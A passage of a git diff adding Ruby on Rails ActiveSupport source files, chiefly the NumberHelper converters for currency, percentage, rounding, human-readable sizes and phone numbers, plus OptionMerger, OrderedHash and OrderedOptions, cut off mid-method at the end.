+    #   number_to_percentage(100, precision: 0)                    # => "100%"
+    #   number_to_percentage(1000, delimiter: '.', separator: ',') # => "1.000,000%"
+    #   number_to_percentage(302.24398923423, precision: 5)        # => "302.24399%"
+    #   number_to_percentage(1000, locale: :fr)                    # => "1000,000%"
+    #   number_to_percentage(1000, precision: nil)                 # => "1000%"
+    #   number_to_percentage('98a')                                # => "98a%"
+    #   number_to_percentage(100, format: '%n  %')                 # => "100.000  %"
+    def number_to_percentage(number, options = {})
+      NumberToPercentageConverter.convert(number, options)
+    end
+
+    # Formats a +number+ with grouped thousands using +delimiter+
+    # (e.g., 12,324). You can customize the format in the +options+
+    # hash.
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to ",").
+    # * <tt>:separator</tt> - Sets the separator between the
+    #   fractional and integer digits (defaults to ".").
+    # * <tt>:delimiter_pattern</tt> - Sets a custom regular expression used for
+    #   deriving the placement of delimiter. Helpful when using currency formats
+    #   like INR.
+    #
+    # ==== Examples
+    #
+    #   number_to_delimited(12345678)                    # => "12,345,678"
+    #   number_to_delimited('123456')                    # => "123,456"
+    #   number_to_delimited(12345678.05)                 # => "12,345,678.05"
+    #   number_to_delimited(12345678, delimiter: '.')    # => "12.345.678"
+    #   number_to_delimited(12345678, delimiter: ',')    # => "12,345,678"
+    #   number_to_delimited(12345678.05, separator: ' ') # => "12,345,678 05"
+    #   number_to_delimited(12345678.05, locale: :fr)    # => "12 345 678,05"
+    #   number_to_delimited('112a')                      # => "112a"
+    #   number_to_delimited(98765432.98, delimiter: ' ', separator: ',')
+    #                                                    # => "98 765 432,98"
+    #   number_to_delimited("123456.78",
+    #     delimiter_pattern: /(\d+?)(?=(\d\d)+(\d)(?!\d))/)
+    #                                                    # => "1,23,456.78"
+    def number_to_delimited(number, options = {})
+      NumberToDelimitedConverter.convert(number, options)
+    end
+
+    # Formats a +number+ with the specified level of
+    # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
+    # +:significant+ is +false+, and 5 if +:significant+ is +true+).
+    # You can customize the format in the +options+ hash.
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:precision</tt> - Sets the precision of the number
+    #   (defaults to 3). Keeps the number's precision if +nil+.
+    # * <tt>:significant</tt> - If +true+, precision will be the number
+    #   of significant_digits. If +false+, the number of fractional
+    #   digits (defaults to +false+).
+    # * <tt>:separator</tt> - Sets the separator between the
+    #   fractional and integer digits (defaults to ".").
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to "").
+    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+    #   insignificant zeros after the decimal separator (defaults to
+    #   +false+).
+    #
+    # ==== Examples
+    #
+    #   number_to_rounded(111.2345)                                  # => "111.235"
+    #   number_to_rounded(111.2345, precision: 2)                    # => "111.23"
+    #   number_to_rounded(13, precision: 5)                          # => "13.00000"
+    #   number_to_rounded(389.32314, precision: 0)                   # => "389"
+    #   number_to_rounded(111.2345, significant: true)               # => "111"
+    #   number_to_rounded(111.2345, precision: 1, significant: true) # => "100"
+    #   number_to_rounded(13, precision: 5, significant: true)       # => "13.000"
+    #   number_to_rounded(13, precision: nil)                        # => "13"
+    #   number_to_rounded(111.234, locale: :fr)                      # => "111,234"
+    #
+    #   number_to_rounded(13, precision: 5, significant: true, strip_insignificant_zeros: true)
+    #   # => "13"
+    #
+    #   number_to_rounded(389.32314, precision: 4, significant: true) # => "389.3"
+    #   number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.')
+    #   # => "1.111,23"
+    def number_to_rounded(number, options = {})
+      NumberToRoundedConverter.convert(number, options)
+    end
+
+    # Formats the bytes in +number+ into a more understandable
+    # representation (e.g., giving it 1500 yields 1.5 KB). This
+    # method is useful for reporting file sizes to users. You can
+    # customize the format in the +options+ hash.
+    #
+    # See <tt>number_to_human</tt> if you want to pretty-print a
+    # generic number.
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:precision</tt> - Sets the precision of the number
+    #   (defaults to 3).
+    # * <tt>:significant</tt> - If +true+, precision will be the number
+    #   of significant_digits. If +false+, the number of fractional
+    #   digits (defaults to +true+)
+    # * <tt>:separator</tt> - Sets the separator between the
+    #   fractional and integer digits (defaults to ".").
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to "").
+    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+    #   insignificant zeros after the decimal separator (defaults to
+    #   +true+)
+    #
+    # ==== Examples
+    #
+    #   number_to_human_size(123)                                    # => "123 Bytes"
+    #   number_to_human_size(1234)                                   # => "1.21 KB"
+    #   number_to_human_size(12345)                                  # => "12.1 KB"
+    #   number_to_human_size(1234567)                                # => "1.18 MB"
+    #   number_to_human_size(1234567890)                             # => "1.15 GB"
+    #   number_to_human_size(1234567890123)                          # => "1.12 TB"
+    #   number_to_human_size(1234567890123456)                       # => "1.1 PB"
+    #   number_to_human_size(1234567890123456789)                    # => "1.07 EB"
+    #   number_to_human_size(1234567, precision: 2)                  # => "1.2 MB"
+    #   number_to_human_size(483989, precision: 2)                   # => "470 KB"
+    #   number_to_human_size(1234567, precision: 2, separator: ',')  # => "1,2 MB"
+    #   number_to_human_size(1234567890123, precision: 5)            # => "1.1228 TB"
+    #   number_to_human_size(524288000, precision: 5)                # => "500 MB"
+    def number_to_human_size(number, options = {})
+      NumberToHumanSizeConverter.convert(number, options)
+    end
+
+    # Pretty prints (formats and approximates) a number in a way it
+    # is more readable by humans (eg.: 1200000000 becomes "1.2
+    # Billion"). This is useful for numbers that can get very large
+    # (and too hard to read).
+    #
+    # See <tt>number_to_human_size</tt> if you want to print a file
+    # size.
+    #
+    # You can also define your own unit-quantifier names if you want
+    # to use other decimal units (eg.: 1500 becomes "1.5
+    # kilometers", 0.150 becomes "150 milliliters", etc). You may
+    # define a wide range of unit quantifiers, even fractional ones
+    # (centi, deci, mili, etc).
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:precision</tt> - Sets the precision of the number
+    #   (defaults to 3).
+    # * <tt>:significant</tt> - If +true+, precision will be the number
+    #   of significant_digits. If +false+, the number of fractional
+    #   digits (defaults to +true+)
+    # * <tt>:separator</tt> - Sets the separator between the
+    #   fractional and integer digits (defaults to ".").
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to "").
+    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+    #   insignificant zeros after the decimal separator (defaults to
+    #   +true+)
+    # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
+    #   string containing an i18n scope where to find this hash. It
+    #   might have the following keys:
+    #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
+    #     <tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+    #     <tt>:billion</tt>, <tt>:trillion</tt>,
+    #     <tt>:quadrillion</tt>
+    #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
+    #     <tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+    #     <tt>:pico</tt>, <tt>:femto</tt>
+    # * <tt>:format</tt> - Sets the format of the output string
+    #   (defaults to "%n %u"). The field types are:
+    #   * %u - The quantifier (ex.: 'thousand')
+    #   * %n - The number
+    #
+    # ==== Examples
+    #
+    #   number_to_human(123)                         # => "123"
+    #   number_to_human(1234)                        # => "1.23 Thousand"
+    #   number_to_human(12345)                       # => "12.3 Thousand"
+    #   number_to_human(1234567)                     # => "1.23 Million"
+    #   number_to_human(1234567890)                  # => "1.23 Billion"
+    #   number_to_human(1234567890123)               # => "1.23 Trillion"
+    #   number_to_human(1234567890123456)            # => "1.23 Quadrillion"
+    #   number_to_human(1234567890123456789)         # => "1230 Quadrillion"
+    #   number_to_human(489939, precision: 2)        # => "490 Thousand"
+    #   number_to_human(489939, precision: 4)        # => "489.9 Thousand"
+    #   number_to_human(1234567, precision: 4,
+    #                            significant: false) # => "1.2346 Million"
+    #   number_to_human(1234567, precision: 1,
+    #                            separator: ',',
+    #                            significant: false) # => "1,2 Million"
+    #
+    #   number_to_human(500000000, precision: 5)           # => "500 Million"
+    #   number_to_human(12345012345, significant: false)   # => "12.345 Billion"
+    #
+    # Non-significant zeros after the decimal separator are stripped
+    # out by default (set <tt>:strip_insignificant_zeros</tt> to
+    # +false+ to change that):
+    #
+    # number_to_human(12.00001)                                       # => "12"
+    # number_to_human(12.00001, strip_insignificant_zeros: false)     # => "12.0"
+    #
+    # ==== Custom Unit Quantifiers
+    #
+    # You can also use your own custom unit quantifiers:
+    #  number_to_human(500000, units: { unit: 'ml', thousand: 'lt' })  # => "500 lt"
+    #
+    # If in your I18n locale you have:
+    #
+    #   distance:
+    #     centi:
+    #       one: "centimeter"
+    #       other: "centimeters"
+    #     unit:
+    #       one: "meter"
+    #       other: "meters"
+    #     thousand:
+    #       one: "kilometer"
+    #       other: "kilometers"
+    #     billion: "gazillion-distance"
+    #
+    # Then you could do:
+    #
+    #   number_to_human(543934, units: :distance)            # => "544 kilometers"
+    #   number_to_human(54393498, units: :distance)          # => "54400 kilometers"
+    #   number_to_human(54393498000, units: :distance)       # => "54.4 gazillion-distance"
+    #   number_to_human(343, units: :distance, precision: 1) # => "300 meters"
+    #   number_to_human(1, units: :distance)                 # => "1 meter"
+    #   number_to_human(0.34, units: :distance)              # => "34 centimeters"
+    def number_to_human(number, options = {})
+      NumberToHumanConverter.convert(number, options)
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_converter.rb b/activesupport/lib/active_support/number_helper/number_converter.rb
new file mode 100644
index 0000000000..5ea9c8f113
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_converter.rb
@@ -0,0 +1,184 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/big_decimal/conversions"
+require_relative "../core_ext/object/blank"
+require_relative "../core_ext/hash/keys"
+require_relative "../i18n"
+require_relative "../core_ext/class/attribute"
+
+module ActiveSupport
+  module NumberHelper
+    class NumberConverter # :nodoc:
+      # Default and i18n option namespace per class
+      class_attribute :namespace
+
+      # Does the object need a number that is a valid float?
+      class_attribute :validate_float
+
+      attr_reader :number, :opts
+
+      DEFAULTS = {
+        # Used in number_to_delimited
+        # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+        format: {
+          # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+          separator: ".",
+          # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+          delimiter: ",",
+          # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+          precision: 3,
+          # If set to true, precision will mean the number of significant digits instead
+          # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+          significant: false,
+          # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+          strip_insignificant_zeros: false
+        },
+
+        # Used in number_to_currency
+        currency: {
+          format: {
+            format: "%u%n",
+            negative_format: "-%u%n",
+            unit: "$",
+            # These five are to override number.format and are optional
+            separator: ".",
+            delimiter: ",",
+            precision: 2,
+            significant: false,
+            strip_insignificant_zeros: false
+          }
+        },
+
+        # Used in number_to_percentage
+        percentage: {
+          format: {
+            delimiter: "",
+            format: "%n%"
+          }
+        },
+
+        # Used in number_to_rounded
+        precision: {
+          format: {
+            delimiter: ""
+          }
+        },
+
+        # Used in number_to_human_size and number_to_human
+        human: {
+          format: {
+            # These five are to override number.format and are optional
+            delimiter: "",
+            precision: 3,
+            significant: true,
+            strip_insignificant_zeros: true
+          },
+          # Used in number_to_human_size
+          storage_units: {
+            # Storage units output formatting.
+            # %u is the storage unit, %n is the number (default: 2 MB)
+            format: "%n %u",
+            units: {
+              byte: "Bytes",
+              kb: "KB",
+              mb: "MB",
+              gb: "GB",
+              tb: "TB"
+            }
+          },
+          # Used in number_to_human
+          decimal_units: {
+            format: "%n %u",
+            # Decimal units output formatting
+            # By default we will only quantify some of the exponents
+            # but the commented ones might be defined or overridden
+            # by the user.
+            units: {
+              # femto: Quadrillionth
+              # pico: Trillionth
+              # nano: Billionth
+              # micro: Millionth
+              # mili: Thousandth
+              # centi: Hundredth
+              # deci: Tenth
+              unit: "",
+              # ten:
+              #   one: Ten
+              #   other: Tens
+              # hundred: Hundred
+              thousand: "Thousand",
+              million: "Million",
+              billion: "Billion",
+              trillion: "Trillion",
+              quadrillion: "Quadrillion"
+            }
+          }
+        }
+      }
+
+      def self.convert(number, options)
+        new(number, options).execute
+      end
+
+      def initialize(number, options)
+        @number = number
+        @opts   = options.symbolize_keys
+      end
+
+      def execute
+        if !number
+          nil
+        elsif validate_float? && !valid_float?
+          number
+        else
+          convert
+        end
+      end
+
+      private
+
+        def options
+          @options ||= format_options.merge(opts)
+        end
+
+        def format_options
+          default_format_options.merge!(i18n_format_options)
+        end
+
+        def default_format_options
+          options = DEFAULTS[:format].dup
+          options.merge!(DEFAULTS[namespace][:format]) if namespace
+          options
+        end
+
+        def i18n_format_options
+          locale = opts[:locale]
+          options = I18n.translate(:'number.format', locale: locale, default: {}).dup
+
+          if namespace
+            options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
+          end
+
+          options
+        end
+
+        def translate_number_value_with_default(key, i18n_options = {})
+          I18n.translate(key, { default: default_value(key), scope: :number }.merge!(i18n_options))
+        end
+
+        def translate_in_locale(key, i18n_options = {})
+          translate_number_value_with_default(key, { locale: options[:locale] }.merge(i18n_options))
+        end
+
+        def default_value(key)
+          key.split(".").reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
+        end
+
+        def valid_float?
+          Float(number)
+        rescue ArgumentError, TypeError
+          false
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
new file mode 100644
index 0000000000..1943b9e295
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_currency_converter.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/numeric/inquiry"
+
+module ActiveSupport
+  module NumberHelper
+    class NumberToCurrencyConverter < NumberConverter # :nodoc:
+      self.namespace = :currency
+
+      def convert
+        number = self.number.to_s.strip
+        format = options[:format]
+
+        if number.to_f.negative?
+          format = options[:negative_format]
+          number = absolute_value(number)
+        end
+
+        rounded_number = NumberToRoundedConverter.convert(number, options)
+        format.gsub("%n".freeze, rounded_number).gsub("%u".freeze, options[:unit])
+      end
+
+      private
+
+        def absolute_value(number)
+          number.respond_to?(:abs) ? number.abs : number.sub(/\A-/, "")
+        end
+
+        def options
+          @options ||= begin
+            defaults = default_format_options.merge(i18n_opts)
+            # Override negative format if format options are given
+            defaults[:negative_format] = "-#{opts[:format]}" if opts[:format]
+            defaults.merge!(opts)
+          end
+        end
+
+        def i18n_opts
+          # Set International negative format if it does not exist
+          i18n = i18n_format_options
+          i18n[:negative_format] ||= "-#{i18n[:format]}" if i18n[:format]
+          i18n
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
new file mode 100644
index 0000000000..d5b5706705
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_delimited_converter.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module NumberHelper
+    class NumberToDelimitedConverter < NumberConverter #:nodoc:
+      self.validate_float = true
+
+      DEFAULT_DELIMITER_REGEX = /(\d)(?=(\d\d\d)+(?!\d))/
+
+      def convert
+        parts.join(options[:separator])
+      end
+
+      private
+
+        def parts
+          left, right = number.to_s.split(".".freeze)
+          left.gsub!(delimiter_pattern) do |digit_to_delimit|
+            "#{digit_to_delimit}#{options[:delimiter]}"
+          end
+          [left, right].compact
+        end
+
+        def delimiter_pattern
+          options.fetch(:delimiter_pattern, DEFAULT_DELIMITER_REGEX)
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
new file mode 100644
index 0000000000..03eb6671ec
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_converter.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module NumberHelper
+    class NumberToHumanConverter < NumberConverter # :nodoc:
+      DECIMAL_UNITS = { 0 => :unit, 1 => :ten, 2 => :hundred, 3 => :thousand, 6 => :million, 9 => :billion, 12 => :trillion, 15 => :quadrillion,
+        -1 => :deci, -2 => :centi, -3 => :mili, -6 => :micro, -9 => :nano, -12 => :pico, -15 => :femto }
+      INVERTED_DECIMAL_UNITS = DECIMAL_UNITS.invert
+
+      self.namespace      = :human
+      self.validate_float = true
+
+      def convert # :nodoc:
+        @number = RoundingHelper.new(options).round(number)
+        @number = Float(number)
+
+        # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+        unless options.key?(:strip_insignificant_zeros)
+          options[:strip_insignificant_zeros] = true
+        end
+
+        units = opts[:units]
+        exponent = calculate_exponent(units)
+        @number = number / (10**exponent)
+
+        rounded_number = NumberToRoundedConverter.convert(number, options)
+        unit = determine_unit(units, exponent)
+        format.gsub("%n".freeze, rounded_number).gsub("%u".freeze, unit).strip
+      end
+
+      private
+
+        def format
+          options[:format] || translate_in_locale("human.decimal_units.format")
+        end
+
+        def determine_unit(units, exponent)
+          exp = DECIMAL_UNITS[exponent]
+          case units
+          when Hash
+            units[exp] || ""
+          when String, Symbol
+            I18n.translate("#{units}.#{exp}", locale: options[:locale], count: number.to_i)
+          else
+            translate_in_locale("human.decimal_units.units.#{exp}", count: number.to_i)
+          end
+        end
+
+        def calculate_exponent(units)
+          exponent = number != 0 ? Math.log10(number.abs).floor : 0
+          unit_exponents(units).find { |e| exponent >= e } || 0
+        end
+
+        def unit_exponents(units)
+          case units
+          when Hash
+            units
+          when String, Symbol
+            I18n.translate(units.to_s, locale: options[:locale], raise: true)
+          when nil
+            translate_in_locale("human.decimal_units.units", raise: true)
+          else
+            raise ArgumentError, ":units must be a Hash or String translation scope."
+          end.keys.map { |e_name| INVERTED_DECIMAL_UNITS[e_name] }.sort_by(&:-@)
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
new file mode 100644
index 0000000000..842f2fc8df
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_human_size_converter.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module NumberHelper
+    class NumberToHumanSizeConverter < NumberConverter #:nodoc:
+      STORAGE_UNITS = [:byte, :kb, :mb, :gb, :tb, :pb, :eb]
+
+      self.namespace      = :human
+      self.validate_float = true
+
+      def convert
+        @number = Float(number)
+
+        # for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+        unless options.key?(:strip_insignificant_zeros)
+          options[:strip_insignificant_zeros] = true
+        end
+
+        if smaller_than_base?
+          number_to_format = number.to_i.to_s
+        else
+          human_size = number / (base**exponent)
+          number_to_format = NumberToRoundedConverter.convert(human_size, options)
+        end
+        conversion_format.gsub("%n".freeze, number_to_format).gsub("%u".freeze, unit)
+      end
+
+      private
+
+        def conversion_format
+          translate_number_value_with_default("human.storage_units.format", locale: options[:locale], raise: true)
+        end
+
+        def unit
+          translate_number_value_with_default(storage_unit_key, locale: options[:locale], count: number.to_i, raise: true)
+        end
+
+        def storage_unit_key
+          key_end = smaller_than_base? ? "byte" : STORAGE_UNITS[exponent]
+          "human.storage_units.units.#{key_end}"
+        end
+
+        def exponent
+          max = STORAGE_UNITS.size - 1
+          exp = (Math.log(number) / Math.log(base)).to_i
+          exp = max if exp > max # avoid overflow for the highest unit
+          exp
+        end
+
+        def smaller_than_base?
+          number.to_i < base
+        end
+
+        def base
+          1024
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
new file mode 100644
index 0000000000..4dcdad2e2c
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_percentage_converter.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module NumberHelper
+    class NumberToPercentageConverter < NumberConverter # :nodoc:
+      self.namespace = :percentage
+
+      def convert
+        rounded_number = NumberToRoundedConverter.convert(number, options)
+        options[:format].gsub("%n".freeze, rounded_number)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
new file mode 100644
index 0000000000..96410f4995
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module NumberHelper
+    class NumberToPhoneConverter < NumberConverter #:nodoc:
+      def convert
+        str = country_code(opts[:country_code]).dup
+        str << convert_to_phone_number(number.to_s.strip)
+        str << phone_ext(opts[:extension])
+      end
+
+      private
+
+        def convert_to_phone_number(number)
+          if opts[:area_code]
+            convert_with_area_code(number)
+          else
+            convert_without_area_code(number)
+          end
+        end
+
+        def convert_with_area_code(number)
+          default_pattern = /(\d{1,3})(\d{3})(\d{4}$)/
+          number.gsub!(regexp_pattern(default_pattern),
+                       "(\\1) \\2#{delimiter}\\3")
+          number
+        end
+
+        def convert_without_area_code(number)
+          default_pattern = /(\d{0,3})(\d{3})(\d{4})$/
+          number.gsub!(regexp_pattern(default_pattern),
+                       "\\1#{delimiter}\\2#{delimiter}\\3")
+          number.slice!(0, 1) if start_with_delimiter?(number)
+          number
+        end
+
+        def start_with_delimiter?(number)
+          delimiter.present? && number.start_with?(delimiter)
+        end
+
+        def delimiter
+          opts[:delimiter] || "-"
+        end
+
+        def country_code(code)
+          code.blank? ? "" : "+#{code}#{delimiter}"
+        end
+
+        def phone_ext(ext)
+          ext.blank? ? "" : " x #{ext}"
+        end
+
+        def regexp_pattern(default_pattern)
+          opts.fetch :pattern, default_pattern
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
new file mode 100644
index 0000000000..3b62fe6819
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/number_to_rounded_converter.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module NumberHelper
+    class NumberToRoundedConverter < NumberConverter # :nodoc:
+      self.namespace      = :precision
+      self.validate_float = true
+
+      def convert
+        helper = RoundingHelper.new(options)
+        rounded_number = helper.round(number)
+
+        if precision = options[:precision]
+          if options[:significant] && precision > 0
+            digits = helper.digit_count(rounded_number)
+            precision -= digits
+            precision = 0 if precision < 0 # don't let it be negative
+          end
+
+          formatted_string =
+            if BigDecimal === rounded_number && rounded_number.finite?
+              s = rounded_number.to_s("F")
+              s << "0".freeze * precision
+              a, b = s.split(".".freeze, 2)
+              a << ".".freeze
+              a << b[0, precision]
+            else
+              "%00.#{precision}f" % rounded_number
+            end
+        else
+          formatted_string = rounded_number
+        end
+
+        delimited_number = NumberToDelimitedConverter.convert(formatted_string, options)
+        format_number(delimited_number)
+      end
+
+      private
+
+        def digits_and_rounded_number(precision)
+          if zero?
+            [1, 0]
+          else
+            digits = digit_count(number)
+            multiplier = 10**(digits - precision)
+            rounded_number = calculate_rounded_number(multiplier)
+            digits = digit_count(rounded_number) # After rounding, the number of digits may have changed
+            [digits, rounded_number]
+          end
+        end
+
+        def calculate_rounded_number(multiplier)
+          (number / BigDecimal.new(multiplier.to_f.to_s)).round * multiplier
+        end
+
+        def digit_count(number)
+          number.zero? ? 1 : (Math.log10(absolute_number(number)) + 1).floor
+        end
+
+        def strip_insignificant_zeros
+          options[:strip_insignificant_zeros]
+        end
+
+        def format_number(number)
+          if strip_insignificant_zeros
+            escaped_separator = Regexp.escape(options[:separator])
+            number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, "")
+          else
+            number
+          end
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/number_helper/rounding_helper.rb b/activesupport/lib/active_support/number_helper/rounding_helper.rb
new file mode 100644
index 0000000000..a5b28296a2
--- /dev/null
+++ b/activesupport/lib/active_support/number_helper/rounding_helper.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  module NumberHelper
+    class RoundingHelper # :nodoc:
+      attr_reader :options
+
+      def initialize(options)
+        @options = options
+      end
+
+      def round(number)
+        return number unless precision
+        number = convert_to_decimal(number)
+        if significant && precision > 0
+          round_significant(number)
+        else
+          round_without_significant(number)
+        end
+      end
+
+      def digit_count(number)
+        return 1 if number.zero?
+        (Math.log10(absolute_number(number)) + 1).floor
+      end
+
+      private
+        def round_without_significant(number)
+          number = number.round(precision)
+          number = number.to_i if precision == 0 && number.finite?
+          number = number.abs if number.zero? # prevent showing negative zeros
+          number
+        end
+
+        def round_significant(number)
+          return 0 if number.zero?
+          digits = digit_count(number)
+          multiplier = 10**(digits - precision)
+          (number / BigDecimal.new(multiplier.to_f.to_s)).round * multiplier
+        end
+
+        def convert_to_decimal(number)
+          case number
+          when Float, String
+            BigDecimal(number.to_s)
+          when Rational
+            BigDecimal(number, digit_count(number.to_i) + precision)
+          else
+            number.to_d
+          end
+        end
+
+        def precision
+          options[:precision]
+        end
+
+        def significant
+          options[:significant]
+        end
+
+        def absolute_number(number)
+          number.respond_to?(:abs) ? number.abs : number.to_d.abs
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/option_merger.rb b/activesupport/lib/active_support/option_merger.rb
new file mode 100644
index 0000000000..42cbbe7c42
--- /dev/null
+++ b/activesupport/lib/active_support/option_merger.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require_relative "core_ext/hash/deep_merge"
+
+module ActiveSupport
+  class OptionMerger #:nodoc:
+    instance_methods.each do |method|
+      undef_method(method) if method !~ /^(__|instance_eval|class|object_id)/
+    end
+
+    def initialize(context, options)
+      @context, @options = context, options
+    end
+
+    private
+      def method_missing(method, *arguments, &block)
+        if arguments.first.is_a?(Proc)
+          proc = arguments.pop
+          arguments << lambda { |*args| @options.deep_merge(proc.call(*args)) }
+        else
+          arguments << (arguments.last.respond_to?(:to_hash) ? @options.deep_merge(arguments.pop) : @options.dup)
+        end
+
+        @context.__send__(method, *arguments, &block)
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
new file mode 100644
index 0000000000..5758513021
--- /dev/null
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+require "yaml"
+
+YAML.add_builtin_type("omap") do |type, val|
+  ActiveSupport::OrderedHash[val.map { |v| v.to_a.first }]
+end
+
+module ActiveSupport
+  # DEPRECATED: <tt>ActiveSupport::OrderedHash</tt> implements a hash that preserves
+  # insertion order.
+  #
+  #   oh = ActiveSupport::OrderedHash.new
+  #   oh[:a] = 1
+  #   oh[:b] = 2
+  #   oh.keys # => [:a, :b], this order is guaranteed
+  #
+  # Also, maps the +omap+ feature for YAML files
+  # (See http://yaml.org/type/omap.html) to support ordered items
+  # when loading from yaml.
+  #
+  # <tt>ActiveSupport::OrderedHash</tt> is namespaced to prevent conflicts
+  # with other implementations.
+  class OrderedHash < ::Hash
+    def to_yaml_type
+      "!tag:yaml.org,2002:omap"
+    end
+
+    def encode_with(coder)
+      coder.represent_seq "!omap", map { |k, v| { k => v } }
+    end
+
+    def select(*args, &block)
+      dup.tap { |hash| hash.select!(*args, &block) }
+    end
+
+    def reject(*args, &block)
+      dup.tap { |hash| hash.reject!(*args, &block) }
+    end
+
+    def nested_under_indifferent_access
+      self
+    end
+
+    # Returns true to make sure that this hash is extractable via <tt>Array#extract_options!</tt>
+    def extractable_options?
+      true
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/ordered_options.rb b/activesupport/lib/active_support/ordered_options.rb
new file mode 100644
index 0000000000..fa7825b3ba
--- /dev/null
+++ b/activesupport/lib/active_support/ordered_options.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+require_relative "core_ext/object/blank"
+
+module ActiveSupport
+  # Usually key value pairs are handled something like this:
+  #
+  #   h = {}
+  #   h[:boy] = 'John'
+  #   h[:girl] = 'Mary'
+  #   h[:boy]  # => 'John'
+  #   h[:girl] # => 'Mary'
+  #   h[:dog]  # => nil
+  #
+  # Using +OrderedOptions+, the above code could be reduced to:
+  #
+  #   h = ActiveSupport::OrderedOptions.new
+  #   h.boy = 'John'
+  #   h.girl = 'Mary'
+  #   h.boy  # => 'John'
+  #   h.girl # => 'Mary'
+  #   h.dog  # => nil
+  #
+  # To raise an exception when the value is blank, append a
+  # bang to the key name, like:
+  #
+  #   h.dog! # => raises KeyError: key not found: :dog
+  #
+  class OrderedOptions < Hash
+    alias_method :_get, :[] # preserve the original #[] method
+    protected :_get # make it protected
+
+    def []=(key, value)
+      super(key.to_sym, value)
+    end
+
+    def [](key)
+      super(key.to_sym)
+    end
+
+    def method_missing(name, *args)
+      name_string = name.to_s
+      if name_string.chomp!("=")
+        self[name_string] = args.first
+      else
+        bangs = name_string.chomp!("!")
+
+        if bangs
